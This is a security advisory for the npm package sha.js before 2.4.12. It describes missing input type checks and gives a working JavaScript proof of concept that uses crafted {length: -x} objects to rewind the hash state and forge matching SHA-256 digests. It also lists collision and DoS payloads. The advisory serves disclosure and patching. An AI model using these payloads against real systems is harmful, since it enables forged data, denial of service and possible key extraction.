sha.js is missing type checks leading to hash rewind and passing on crafted data
Summary
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | sha.js | < 2.4.12 | 2.4.12 |
References
- https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5
- https://nvd.nist.gov/vuln/detail/CVE-2025-9288
- https://github.com/browserify/sha.js/pull/78
- https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5
- https://github.com/browserify/sha.js
- https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html
- https://www.cve.org/CVERecord?id=CVE-2025-9287
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H- Weakness (CWE)
CWE-20- Platform
- npm
- Package
sha.js- Disclosed
- 21.08.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-95m3-7q98-8xr5 - CC BY 4.0
Vulnerability history: sha.js
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.